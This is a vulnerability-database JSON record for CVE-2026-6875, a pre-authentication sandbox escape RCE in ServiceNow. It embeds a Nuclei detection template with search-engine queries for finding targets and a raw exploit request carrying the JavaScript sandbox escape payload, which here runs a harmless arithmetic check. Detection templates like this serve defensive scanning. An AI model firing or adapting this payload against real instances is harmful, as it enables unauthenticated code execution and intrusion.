{
  "_links": {
    "capec": {
      "href": "/api/v1/vulnerability/cve-2026-6875/capec"
    },
    "cvss": {
      "href": "/api/v1/vulnerability/cve-2026-6875/cvss"
    },
    "cwe": {
      "href": "/api/v1/vulnerability/cve-2026-6875/cwe"
    },
    "enrichment": {
      "href": "/api/v1/vulnerability/cve-2026-6875/enrichment"
    },
    "gcve": {
      "href": "/api/v1/vulnerability/cve-2026-6875/gcve"
    },
    "self": {
      "href": "/api/v1/vulnerability/cve-2026-6875"
    },
    "sightings": {
      "href": "/api/v1/sightings/cve-2026-6875"
    }
  },
  "data": {
    "nuclei": true,
    "nuclei_template": "http/cves/2026/CVE-2026-6875.yaml",
    "nuclei_template_severity": "critical",
    "nuclei_template_yaml": "id: CVE-2026-6875\n\ninfo:\n  name: ServiceNow AI Platform - Pre-Auth JavaScript Sandbox Escape RCE\n  author: pdteam,DhiyaneshDk\n  severity: critical\n  description: |\n    ServiceNow AI Platform (Brazil, Australia, Zurich, and Yokohama releases before patching) contains a pre-authentication remote code execution vulnerability. The /assessment_thanks.do endpoint passes the sysparm_assessable_type parameter into GlideRecord's addQuery(), which evaluates \"javascript:\" prefixed values as JavaScript in a restricted script sandbox. A sandbox escape gadget using Object.defineProperty and Class.create.constructor chains through the gs.include('ItemViewElementsProvider') path to invoke Function(code)(), bypassing the sandbox and executing arbitrary GlideController code. Actively exploited in the wild since July 2026.\n  impact: |\n    Unauthenticated attackers can execute arbitrary code within the ServiceNow platform, access all database tables, create administrator accounts, and execute shell commands on connected MID proxy servers that sit within corporate internal networks.\n  remediation: Apply the latest security updates or upgrade to the patched release provided by ServiceNow.\n  reference:\n    - https://slcyber.io/research-center/smashing-the-servicenow-sandbox-pre-authentication-rce/\n    - https://support.servicenow.com/kb?id=kb_article_view&sysparm_article=KB3137947\n    - https://nvd.nist.gov/vuln/detail/CVE-2026-6875\n    - https://www.bleepingcomputer.com/news/security/critical-servicenow-code-execution-flaw-now-exploited-in-attacks/\n    - https://github.com/tc4dy/CVE-2026-6875-PoC-Exploit\n  classification:\n    cve-id: CVE-2026-6875\n    cwe-id: CWE-94\n    cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H\n    cvss-score: 9.5\n    epss-score: 0.01426\n    epss-percentile: 0.7178\n  metadata:\n    verified: true\n    max-request: 2\n    vendor: servicenow\n    product: servicenow\n    shodan-query:\n      - http.favicon.hash:\"1701804003\"\n      - http.title:\"servicenow\"\n    fofa-query:\n      - icon_hash=1701804003\n      - title=\"servicenow\"\n    google-query: intitle:\"servicenow\"\n  tags: cve,cve2026,servicenow,rce,sandbox-escape,js-injection,vkev\n\nflow: http(1) && http(2)\n\nhttp:\n  - method: GET\n    path:\n      - \"{{BaseURL}}/login.do\"\n\n    host-redirects: true\n    max-redirects: 3\n\n    matchers:\n      - type: word\n        part: body\n        words:\n          - \"servicenow\"\n          - \"glide\"\n          - \"sysparm\"\n        condition: or\n        case-insensitive: true\n        internal: true\n\n  - raw:\n      - |\n        GET /assessment_thanks.do?sysparm_assessable_type=javascript%3AObject.defineProperty(Object%2C%27clone%27%2C%7Bvalue%3AClass.create.constructor%7D)%3BObject.defineProperty(AbstractAjaxProcessor%2C%27prototype%27%2C%7Bvalue%3A%22GlideController().evaluateAsObject(%27gs.addInfoMessage(999*999)%27)%22%7D)%3Bgs.include(%27ItemViewElementsProvider%27)%3BItemViewElementsProvider.prototype() HTTP/1.1\n        Host: {{Hostname}}\n\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: body\n        words:\n          - \"998001\"\n\n      - type: word\n        part: content_type\n        words:\n          - \"text/html\"\n\n      - type: status\n        status:\n          - 200\n# digest: 490a004630440220569febd4df9ec01f31e7fbc88ff2ecf1aef9d32d242cab84f4101c8e21eb4c61022054f2e90383554d2528ded3551413430f4fc8027622c314bf9014a3354b32151e:922c64590222798bb761d5b6d8e72950"
  },
  "source": "nuclei",
  "vuln_id": "cve-2026-6875"
}